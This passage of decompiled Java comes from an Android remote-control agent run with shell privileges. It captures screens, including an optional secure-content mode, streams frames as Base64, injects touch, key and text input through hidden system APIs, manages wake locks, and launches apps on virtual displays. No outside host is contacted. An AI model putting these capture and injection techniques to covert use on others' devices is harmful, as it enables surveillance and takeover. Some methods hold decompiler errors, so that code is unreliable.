            int i = this.target == DFRemoteAgent.mainMirror ? 0 : this.target.id;
            long j2 = 1000000 / ((long) this.fps);
            for (byte[] bArr2 : accessUnits(bArr)) {
                if (j < this.nextFrameUs) {
                    j += j2;
                } else if (bArr2.length > 8388608) {
                    System.out.println("videoError encoded frame exceeds 8 MiB");
                } else {
                    long j3 = j + j2;
                    this.nextFrameUs = j3;
                    System.out.println("video " + i + " " + (keyFrame(bArr2) ? 1 : 0) + " " + j + " " + Base64.getEncoder().encodeToString(bArr2));
                    j = j3;
                }
            }
        }

        void close() {
            if (this.closed) {
                return;
            }
            this.closed = true;
            try {
                MediaCodec mediaCodec = this.codec;
                if (mediaCodec != null) {
                    mediaCodec.stop();
                }
            } catch (Throwable unused) {
            }
            try {
                MediaCodec mediaCodec2 = this.codec;
                if (mediaCodec2 != null) {
                    mediaCodec2.release();
                }
            } catch (Throwable unused2) {
            }
            try {
                Surface surface = this.surface;
                if (surface != null) {
                    surface.release();
                }
            } catch (Throwable unused3) {
            }
            try {
                this.target.display.setSurface(this.target.reader.getSurface());
            } catch (Throwable unused4) {
            }
        }
    }

    private static void queueCapture(int i, int i2, boolean z, int i3) {
        synchronized (DFRemoteAgent.class) {
            pendingCapture = new CaptureRequest(i, i2, z, i3);
            if (captureActive) {
                return;
            }
            captureActive = true;
            captureHandler.post(new Runnable() { // from class: DFRemoteAgent$$ExternalSyntheticLambda0
                @Override // java.lang.Runnable
                public final void run() {
                    DFRemoteAgent.drainCaptures();
                }
            });
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static void drainCaptures() {
        CaptureRequest captureRequest;
        while (true) {
            synchronized (DFRemoteAgent.class) {
                captureRequest = pendingCapture;
                pendingCapture = null;
                if (captureRequest == null) {
                    captureActive = false;
                    return;
                }
            }
            try {
                capture(captureRequest.displayId, captureRequest.quality, captureRequest.force, captureRequest.scale);
            } catch (Throwable th) {
                System.out.println("error " + th.getClass().getSimpleName() + " " + th.getMessage());
            }
        }
    }

    private static void capture(int i, int i2, boolean z, int i3) throws Exception {
        Bitmap bitmapScreenshot;
        byte[] byteArray;
        if (i == 0 || virtuals.containsKey(Integer.valueOf(i)) || displays.getDisplay(i) != null) {
            int iMax = Math.max(10, Math.min(100, i3));
            Virtual virtual = virtuals.get(Integer.valueOf(i));
            if (virtual != null) {
                bitmapScreenshot = virtual.capture();
            } else {
                bitmapScreenshot = screenshot(i, iMax);
            }
            if (bitmapScreenshot != null) {
                Bitmap bitmapScaleBitmap = scaleBitmap(bitmapScreenshot, i, iMax);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                bitmapScaleBitmap.compress(Bitmap.CompressFormat.JPEG, i2, byteArrayOutputStream);
                bitmapScaleBitmap.recycle();
                byteArray = byteArrayOutputStream.toByteArray();
                lastFrames.put(Integer.valueOf(i), byteArray);
            } else {
                byteArray = lastFrames.get(Integer.valueOf(i));
            }
            if (byteArray == null) {
                System.out.println("frame " + i);
                return;
            }
            System.out.println("frame " + i + " " + Base64.getEncoder().encodeToString(byteArray));
        }
    }

    private static Bitmap scaleBitmap(Bitmap bitmap, int i, int i2) {
        if (bitmap == null) {
            return null;
        }
        Display display = displays.getDisplay(i);
        Point point = new Point();
        display.getRealSize(point);
        int iMax = Math.max(1, (point.x * i2) / 100);
        int iMax2 = Math.max(1, (point.y * i2) / 100);
        if (bitmap.getWidth() == iMax && bitmap.getHeight() == iMax2) {
            return bitmap;
        }
        Bitmap bitmapCreateScaledBitmap = Bitmap.createScaledBitmap(bitmap, iMax, iMax2, true);
        if (bitmapCreateScaledBitmap != bitmap) {
            bitmap.recycle();
        }
        return bitmapCreateScaledBitmap;
    }

    private static VirtualDisplay createMainVirtualDisplay(ImageReader imageReader, int i, int i2) throws Exception {
        int i3 = (secureCapture ? 4 : 0) | 16;
        if (Build.VERSION.SDK_INT >= 34) {
            return (VirtualDisplay) DisplayManager.class.getMethod("createVirtualDisplay", MediaProjection.class, VirtualDisplayConfig.class, VirtualDisplay.Callback.class, Handler.class).invoke(displays, null, new VirtualDisplayConfig.Builder("DFMirror", i, i2, 300).setSurface(imageReader.getSurface()).setFlags(i3).build(), null, new Handler(Looper.getMainLooper()));
        }
        return displays.createVirtualDisplay("DFMirror", i, i2, 300, imageReader.getSurface(), i3);
    }

    private static Bitmap mirrorMain(int i) throws Exception {
        Virtual virtual = mainMirror;
        if (virtual != null && mainMirrorScale != i) {
            virtual.close();
            mainMirror = null;
        }
        if (mainMirror == null) {
            Display display = displays.getDisplay(0);
            Point point = new Point();
            display.getRealSize(point);
            int iMax = Math.max(1, (point.x * i) / 100);
            int iMax2 = Math.max(1, (point.y * i) / 100);
            ImageReader imageReaderNewInstance = ImageReader.newInstance(iMax, iMax2, 1, 3);
            VirtualDisplay virtualDisplayCreateMainVirtualDisplay = createMainVirtualDisplay(imageReaderNewInstance, iMax, iMax2);
            if (virtualDisplayCreateMainVirtualDisplay == null) {
                imageReaderNewInstance.close();
                throw new IllegalStateException("main mirror unavailable");
            }
            mainMirror = new Virtual(virtualDisplayCreateMainVirtualDisplay, imageReaderNewInstance, false);
            mainMirrorScale = i;
        }
        return mainMirror.capture();
    }

    private static Bitmap screenshot(int i, int i2) throws Exception {
        Bitmap bitmapCaptureSurface;
        if (secureCapture && i == 0 && (bitmapCaptureSurface = captureSurface(i)) != null) {
            return bitmapCaptureSurface;
        }
        if (i == 0) {
            boolean z = mainMirror == null;
            try {
                Bitmap bitmapMirrorMain = mirrorMain(i2);
                if (bitmapMirrorMain != null || !z) {
                    return bitmapMirrorMain;
                }
            } catch (Exception unused) {
            }
        }
        Bitmap bitmapCaptureSurface2 = captureSurface(i);
        return bitmapCaptureSurface2 != null ? bitmapCaptureSurface2 : captureProcess(i);
    }

    private static Bitmap captureSurface(int i) {
        for (Method method : SurfaceControl.class.getMethods()) {
            if (method.getName().equals("screenshot") && Bitmap.class.isAssignableFrom(method.getReturnType())) {
                try {
                    Class<?>[] parameterTypes = method.getParameterTypes();
                    if (parameterTypes.length == 2 && parameterTypes[0] == Integer.TYPE && parameterTypes[1] == Integer.TYPE) {
                        Display display = displays.getDisplay(i);
                        Point point = new Point();
                        display.getRealSize(point);
                        return (Bitmap) method.invoke(null, Integer.valueOf(point.x), Integer.valueOf(point.y));
                    }
                    if (parameterTypes.length == 3 && parameterTypes[0] == Rect.class && parameterTypes[1] == Integer.TYPE && parameterTypes[2] == Integer.TYPE) {
                        Display display2 = displays.getDisplay(i);
                        Point point2 = new Point();
                        display2.getRealSize(point2);
                        return (Bitmap) method.invoke(null, new Rect(0, 0, point2.x, point2.y), Integer.valueOf(point2.x / 2), Integer.valueOf(point2.y / 2));
                    }
                } catch (Exception unused) {
                    continue;
                }
            }
        }
        return null;
    }

    private static Bitmap captureProcess(int i) throws Exception {
        ProcessBuilder processBuilder;
        if (i == 0) {
            processBuilder = new ProcessBuilder("/system/bin/screencap", "-p");
        } else {
            processBuilder = new ProcessBuilder("/system/bin/screencap", "-d", String.valueOf(i), "-p");
        }
        Process processStart = processBuilder.redirectErrorStream(true).start();
        byte[] bytes = readBytes(processStart.getInputStream());
        if (processStart.waitFor() != 0 || bytes.length == 0) {
            throw new IllegalStateException("screencap failed status=" + processStart.exitValue() + " " + (bytes.length == 0 ? "empty" : new String(bytes, StandardCharsets.UTF_8)));
        }
        return BitmapFactory.decodeByteArray(bytes, 0, bytes.length);
    }

    private static void key(int i, int i2) throws Exception {
        int i3;
        long jUptimeMillis = SystemClock.uptimeMillis();
        try {
            i3 = i;
            try {
                inject(new KeyEvent(jUptimeMillis, jUptimeMillis, 0, i3, 0), i2);
                inject(new KeyEvent(jUptimeMillis, jUptimeMillis, 1, i3, 0), i2);
            } catch (Exception e) {
                e = e;
                Exception exc = e;
                if (!shellInput(i2, "keyevent", String.valueOf(i3))) {
                    throw exc;
                }
            }
        } catch (Exception e2) {
            e = e2;
            i3 = i;
        }
        System.out.println("ok");
    }

    private static void touch(String str, String str2, float f, float f2, int i) throws Exception {
        int i2;
        if ("down".equals(str)) {
            i2 = 0;
        } else {
            i2 = "move".equals(str) ? 2 : 1;
        }
        int i3 = i2;
        long jUptimeMillis = SystemClock.uptimeMillis();
        if (i3 == 0) {
            touchDownTime = jUptimeMillis;
        }
        MotionEvent motionEventObtain = MotionEvent.obtain(touchDownTime, jUptimeMillis, i3, f, f2, 0);
        motionEventObtain.setSource(4098);
        inject(motionEventObtain, i);
        motionEventObtain.recycle();
        System.out.println("ok");
    }

    private static void gesture(int i, String str) throws Exception {
        int i2;
        int i3;
        String[] strArrSplit = str.split(";");
        long jUptimeMillis = SystemClock.uptimeMillis();
        boolean z = false;
        try {
            if (strArrSplit.length == 1) {
                String[] strArrSplit2 = strArrSplit[0].split(",");
                float f = Float.parseFloat(strArrSplit2[0]);
                float f2 = Float.parseFloat(strArrSplit2[1]);
                long j = jUptimeMillis + Long.parseLong(strArrSplit2[2]);
                injectTouch(jUptimeMillis, jUptimeMillis, 0, f, f2, i);
                try {
                    long jUptimeMillis2 = j - SystemClock.uptimeMillis();
                    if (jUptimeMillis2 > 0) {
                        SystemClock.sleep(jUptimeMillis2);
                    }
                    injectTouch(jUptimeMillis, j, 1, f, f2, i);
                } catch (Exception e) {
                    e = e;
                    z = true;
                    if (!z || !shellGesture(i, strArrSplit)) {
                        throw e;
                    }
                }
            } else {
                int i4 = 0;
                boolean z2 = false;
                while (i4 < strArrSplit.length) {
                    try {
                        String[] strArrSplit3 = strArrSplit[i4].split(",");
                        float f3 = Float.parseFloat(strArrSplit3[0]);
                        float f4 = Float.parseFloat(strArrSplit3[1]);
                        long j2 = Long.parseLong(strArrSplit3[2]) + jUptimeMillis;
                        long jUptimeMillis3 = j2 - SystemClock.uptimeMillis();
                        if (jUptimeMillis3 > 0) {
                            SystemClock.sleep(jUptimeMillis3);
                        }
                        if (i4 == 0) {
                            i2 = i;
                            i3 = 0;
                        } else {
                            i2 = i;
                            i3 = i4 == strArrSplit.length - 1 ? 1 : 2;
                        }
                        injectTouch(jUptimeMillis, j2, i3, f3, f4, i2);
                        i4++;
                        z2 = true;
                    } catch (Exception e2) {
                        e = e2;
                        z = z2;
                        if (!z) {
                        }
                        throw e;
                    }
                }
            }
        } catch (Exception e3) {
            e = e3;
        }
        System.out.println("ok");
    }

    private static void injectTouch(long j, long j2, int i, float f, float f2, int i2) throws Exception {
        MotionEvent motionEventObtain = MotionEvent.obtain(j, j2, i, f, f2, 0);
        motionEventObtain.setSource(4098);
        try {
            inject(motionEventObtain, i2);
        } finally {
            motionEventObtain.recycle();
        }
    }

    private static void inject(InputEvent inputEvent, int i) throws Exception {
        InputManager inputManager2;
        Method method = setDisplayId;
        if (method != null) {
            method.invoke(inputEvent, Integer.valueOf(i));
        } else if (i != 0) {
            throw new UnsupportedOperationException("display routing requires Android 10");
        }
        Object obj = null;
        Method method2 = inject;
        if (method2 != null && (inputManager2 = inputManager) != null) {
            if (Boolean.TRUE.equals(method2.invoke(inputManager2, inputEvent, 0))) {
                return;
            }
        }
        Method method3 = inputServiceInject;
        if (method3 != null) {
            if (Boolean.TRUE.equals(method3.invoke(inputService, inputEvent, 0))) {
                return;
            }
        }
        th = null;
        try {
            if (automation == null) {
                synchronized (DFRemoteAgent.class) {
                    if (automation == null) {
                        initAutomation();
                    }
                }
            }
            if (automation.injectInputEvent(inputEvent, false)) {
                return;
            }
        } catch (Throwable th) {
            automation = null;
            obj = th;
        }
        throw new IllegalStateException("input rejected by InputManager and UiAutomation" + (th == null ? "" : " primary=" + th.getClass().getSimpleName()) + (obj == null ? "" : " fallback=" + obj.getClass().getSimpleName()));
    }

    private static boolean shellGesture(int i, String[] strArr) {
        try {
            String[] strArrSplit = strArr[0].split(",");
            String[] strArrSplit2 = strArr[strArr.length - 1].split(",");
            String str = strArr.length == 1 ? "0" : strArrSplit2[2];
            if (strArr.length == 1) {
                return shellInput(i, "tap", strArrSplit[0], strArrSplit[1]);
            }
            return shellInput(i, "swipe", strArrSplit[0], strArrSplit[1], strArrSplit2[0], strArrSplit2[1], str);
        } catch (Exception unused) {
            return false;
        }
    }

    private static boolean shellInput(int i, String str, String... strArr) {
        try {
            ArrayList arrayList = new ArrayList();
            arrayList.add("/system/bin/input");
            arrayList.add("-d");
            arrayList.add(String.valueOf(i));
            if (!"keyevent".equals(str)) {
                arrayList.add("touchscreen");
            }
            arrayList.add(str);
            Collections.addAll(arrayList, strArr);
            Process processStart = new ProcessBuilder(arrayList).redirectErrorStream(true).start();
            byte[] bytes = readBytes(processStart.getInputStream());
            int iWaitFor = processStart.waitFor();
            if (iWaitFor != 0) {
                System.out.println("error shell input status=" + iWaitFor + " " + new String(bytes, StandardCharsets.UTF_8).trim());
            }
            return iWaitFor == 0;
        } catch (Exception unused) {
        }
    }

    private static void text(String str, int i) throws Exception {
        String str2 = new String(Base64.getDecoder().decode(str), StandardCharsets.UTF_8);
        try {
            if (typeTextWithKeys(str2, i)) {
                System.out.println("ok");
                return;
            }
            ClipboardManager clipboardManager = (ClipboardManager) context.getSystemService("clipboard");
            if (clipboardManager == null) {
                throw new IllegalStateException("clipboard unavailable");
            }
            clipboardManager.setPrimaryClip(ClipData.newPlainText("remote", str2));
            long jUptimeMillis = SystemClock.uptimeMillis();
            inject(new KeyEvent(jUptimeMillis, jUptimeMillis, 0, 279, 0), i);
            inject(new KeyEvent(jUptimeMillis, jUptimeMillis, 1, 279, 0), i);
            System.out.println("ok");
        } catch (Exception e) {
            if (!shellInput(i, "text", str2.replace(" ", "%s"))) {
                throw e;
            }
        }
    }

    private static boolean typeTextWithKeys(String str, int i) throws Exception {
        KeyEvent[] events = KeyCharacterMap.load(-1).getEvents(str.toCharArray());
        if (events == null) {
            return false;
        }
        for (KeyEvent keyEvent : events) {
            keyEvent.setSource(257);
            inject(keyEvent, i);
        }
        return true;
    }

    private static void power(String str, int i) throws Exception {
        try {
            Object objInvoke = Class.forName("android.os.IPowerManager$Stub").getMethod("asInterface", IBinder.class).invoke(null, (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "power"));
            long jUptimeMillis = SystemClock.uptimeMillis();
            if (str.equals("wake")) {
                wakeUp(objInvoke, jUptimeMillis, i);
            } else {
                goToSleep(objInvoke, jUptimeMillis, i);
            }
        } catch (Exception e) {
            String[] strArr = new String[1];
            strArr[0] = str.equals("wake") ? "224" : "223";
            if (!shellInput(i, "keyevent", strArr)) {
                throw e;
            }
        }
        System.out.println("ok");
    }

    private static Method findMethod(Class<?> cls, String str, Class<?>[]... clsArr) {
        for (Class<?>[] clsArr2 : clsArr) {
            try {
                return cls.getMethod(str, clsArr2);
            } catch (NoSuchMethodException unused) {
            }
        }
        return null;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static void wakeUp(Object obj, long j, int i) throws Exception {
        Class<?> cls = Class.forName("android.os.IPowerManager");
        Method methodFindMethod = findMethod(cls, "wakeUpWithDisplayId", new Class[]{Long.TYPE, Integer.TYPE, String.class, String.class, Integer.TYPE});
        if (methodFindMethod != null) {
            methodFindMethod.invoke(obj, Long.valueOf(j), 2, "df.remote", "com.android.shell", Integer.valueOf(i));
            return;
        }
        if (i != 0) {
            return;
        }
        Method methodFindMethod2 = findMethod(cls, "wakeUp", new Class[]{Long.TYPE, Integer.TYPE, String.class, String.class}, new Class[]{Long.TYPE, String.class, String.class});
        if (methodFindMethod2 == null) {
            throw new NoSuchMethodException("IPowerManager.wakeUp");
        }
        if (methodFindMethod2.getParameterTypes().length == 4) {
            methodFindMethod2.invoke(obj, Long.valueOf(j), 2, "df.remote", "com.android.shell");
        } else {
            methodFindMethod2.invoke(obj, Long.valueOf(j), "df.remote", "com.android.shell");
        }
    }

    private static void goToSleep(Object obj, long j, int i) throws Exception {
        Class<?> cls = Class.forName("android.os.IPowerManager");
        Method methodFindMethod = findMethod(cls, "goToSleepWithDisplayId", new Class[]{Integer.TYPE, Long.TYPE, Integer.TYPE, Integer.TYPE});
        if (methodFindMethod != null) {
            methodFindMethod.invoke(obj, Integer.valueOf(i), Long.valueOf(j), 4, 0);
            return;
        }
        if (i != 0) {
            throw new UnsupportedOperationException("per-display sleep is unsupported");
        }
        Method methodFindMethod2 = findMethod(cls, "goToSleep", new Class[]{Long.TYPE, Integer.TYPE, Integer.TYPE}, new Class[]{Long.TYPE, Integer.TYPE});
        if (methodFindMethod2 == null) {
            throw new NoSuchMethodException("IPowerManager.goToSleep");
        }
        if (methodFindMethod2.getParameterTypes().length == 3) {
            methodFindMethod2.invoke(obj, Long.valueOf(j), 4, 0);
        } else {
            methodFindMethod2.invoke(obj, Long.valueOf(j), 4);
        }
    }

    private static void setLocalIme(int i) throws Exception {
        Object objInvoke = Class.forName("android.view.IWindowManager$Stub").getMethod("asInterface", IBinder.class).invoke(null, (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "window"));
        try {
            objInvoke.getClass().getMethod("setDisplayImePolicy", Integer.TYPE, Integer.TYPE).invoke(objInvoke, Integer.valueOf(i), 0);
        } catch (NoSuchMethodException unused) {
            objInvoke.getClass().getMethod("setShouldShowIme", Integer.TYPE, Boolean.TYPE).invoke(objInvoke, Integer.valueOf(i), true);
        }
    }

    private static void create(String[] strArr) throws Exception {
        int i = Integer.parseInt(strArr[1]);
        int i2 = Integer.parseInt(strArr[2]);
        int i3 = Integer.parseInt(strArr[3]);
        boolean z = Integer.parseInt(strArr[4]) != 0;
        if (Build.VERSION.SDK_INT < 34) {
            throw new IllegalStateException("Android 14 required");
        }
        if (i < 16 || i > 4096 || i2 < 16 || i2 > 4096 || i3 < 72 || i3 > 640) {
            throw new IllegalArgumentException("invalid display parameters");
        }
        ImageReader imageReaderNewInstance = ImageReader.newInstance(i, i2, 1, 3);
        VirtualDisplay virtualDisplay = (VirtualDisplay) DisplayManager.class.getMethod("createVirtualDisplay", MediaProjection.class, VirtualDisplayConfig.class, VirtualDisplay.Callback.class, Handler.class).invoke(displays, null, new VirtualDisplayConfig.Builder("DFRemote", i, i2, i3).setSurface(imageReaderNewInstance.getSurface()).setFlags((secureCapture ? 4 : 0) | 24011).build(), null, new Handler(Looper.getMainLooper()));
        if (virtualDisplay == null || virtualDisplay.getDisplay() == null) {
            imageReaderNewInstance.close();
            throw new IllegalStateException("create display failed");
        }
        int displayId = virtualDisplay.getDisplay().getDisplayId();
        Virtual virtual = new Virtual(virtualDisplay, imageReaderNewInstance, z);
        virtuals.put(Integer.valueOf(displayId), virtual);
        setLocalIme(displayId);
        try {
            if (strArr.length > 5 && !strArr[5].isEmpty()) {
                Intent launchIntentForPackage = context.getPackageManager().getLaunchIntentForPackage(strArr[5]);
                if (launchIntentForPackage == null) {
                    throw new IllegalArgumentException("no launcher activity");
                }
                launchIntentForPackage.addFlags(268435456);
                Class.forName("android.app.IActivityManager").getMethod("startActivityAsUser", Class.forName("android.app.IApplicationThread"), String.class, Intent.class, String.class, IBinder.class, String.class, Integer.TYPE, Integer.TYPE, Class.forName("android.app.ProfilerInfo"), Bundle.class, Integer.TYPE).invoke(ActivityManager.class.getDeclaredMethod("getService", new Class[0]).invoke(null, new Object[0]), null, "com.android.shell", launchIntentForPackage, null, null, null, 0, 0, null, ActivityOptions.makeBasic().setLaunchDisplayId(displayId).toBundle(), 0);
            }
            System.out.println("created " + displayId);
        } catch (Exception e) {
            virtuals.remove(Integer.valueOf(displayId));
            virtual.close();
            throw e;
        }
    }

    private static void destroy(int i) {
        VideoStream videoStream2;
        Virtual virtualRemove = virtuals.remove(Integer.valueOf(i));
        if (virtualRemove != null && (videoStream2 = videoStream) != null && videoStream2.target == virtualRemove) {
            stopVideo();
        }
        if (virtualRemove != null) {
            virtualRemove.close();
        }
        lastFrames.remove(Integer.valueOf(i));
        System.out.println("destroyed " + i);
        System.out.println("ok");
    }

    private static String quote(String str) {
        return "\"" + str.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n") + "\"";
    }

    /* JADX INFO: Access modifiers changed from: private */
    static final class Virtual {
        Method acquire;
        boolean closed;
        final VirtualDisplay display;
        boolean held;
        final int id;
        final ImageReader reader;
        Method release;
        Object service;
        final IBinder token = new Binder();
        final IBinder cpuToken = new Binder();
        final Handler handler = new Handler(Looper.getMainLooper());
        long lastWake = -10000;
        final Runnable check = new Runnable() { // from class: DFRemoteAgent$Virtual$$ExternalSyntheticLambda0
            @Override // java.lang.Runnable
            public final void run() {
                this.f$0.keepAwake();
            }
        };

        Virtual(VirtualDisplay virtualDisplay, ImageReader imageReader, boolean z) throws Exception {
            this.display = virtualDisplay;
            this.reader = imageReader;
            this.id = virtualDisplay.getDisplay().getDisplayId();
            if (z) {
                startPower();
            }
        }

        void startPower() throws Exception {
            this.service = Class.forName("android.os.IPowerManager$Stub").getMethod("asInterface", IBinder.class).invoke(null, (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "power"));
            Class<?> cls = Class.forName("android.os.IPowerManager");
            this.acquire = cls.getMethod("acquireWakeLock", IBinder.class, Integer.TYPE, String.class, String.class, WorkSource.class, String.class, Integer.TYPE, Class.forName("android.os.IWakeLockCallback"));
            this.release = cls.getMethod("releaseWakeLock", IBinder.class, Integer.TYPE);
            this.held = true;
            try {
                this.acquire.invoke(this.service, this.cpuToken, 1, "DFRemote:Cpu", "com.android.shell", null, null, Integer.valueOf(this.id), null);
                this.acquire.invoke(this.service, this.token, 10, "DFRemote:Display", "com.android.shell", null, null, Integer.valueOf(this.id), null);
                keepAwake();
            } catch (Exception e) {
                releasePower();
                throw e;
            }
        }

        void keepAwake() {
            if (this.closed || !this.held) {
                return;
            }
            this.handler.removeCallbacks(this.check);
            try {
                long jUptimeMillis = SystemClock.uptimeMillis();
                if (this.display.getDisplay().getState() == 1 && jUptimeMillis - this.lastWake >= 5000) {
                    this.lastWake = jUptimeMillis;
                    DFRemoteAgent.wakeUp(this.service, jUptimeMillis, this.id);
                }
                this.handler.postDelayed(this.check, 2000L);
            } catch (Exception e) {
                System.out.println("error virtual power " + String.valueOf(e) + " cause=" + String.valueOf(e.getCause()));
                releasePower();
            }
        }

        synchronized Bitmap capture() throws Exception {
            Image imageAcquireLatestImage = this.reader.acquireLatestImage();
            if (imageAcquireLatestImage == null) {
                return null;
            }
            try {
                Image.Plane plane = imageAcquireLatestImage.getPlanes()[0];
                int width = imageAcquireLatestImage.getWidth();
                int height = imageAcquireLatestImage.getHeight();
                if (plane.getPixelStride() != 4) {
                    throw new IllegalStateException("unsupported virtual frame format");
                }
                int rowStride = plane.getRowStride() / 4;
                Bitmap bitmapCreateBitmap = Bitmap.createBitmap(rowStride, height, Bitmap.Config.ARGB_8888);
                ByteBuffer buffer = plane.getBuffer();
                bitmapCreateBitmap.copyPixelsFromBuffer(buffer);
                if (rowStride != width) {
                    Bitmap bitmapCreateBitmap2 = Bitmap.createBitmap(bitmapCreateBitmap, 0, 0, width, height);
                    bitmapCreateBitmap.recycle();
                    imageAcquireLatestImage.close();
                    return bitmapCreateBitmap2;
                }
                imageAcquireLatestImage.close();
                return bitmapCreateBitmap;
            } catch (Throwable th) {
                imageAcquireLatestImage.close();
                throw th;
            }
        }

        void releasePower() {
            if (this.closed) {
                return;
            }
            this.closed = true;
            this.handler.removeCallbacks(this.check);
            if (this.held) {
                this.held = false;
                try {
                    this.release.invoke(this.service, this.token, 0);
                    this.release.invoke(this.service, this.cpuToken, 0);
                } catch (Exception unused) {
                }
            }
        }

        synchronized void close() {
            releasePower();
            this.display.release();
            this.reader.close();
        }
    }
}
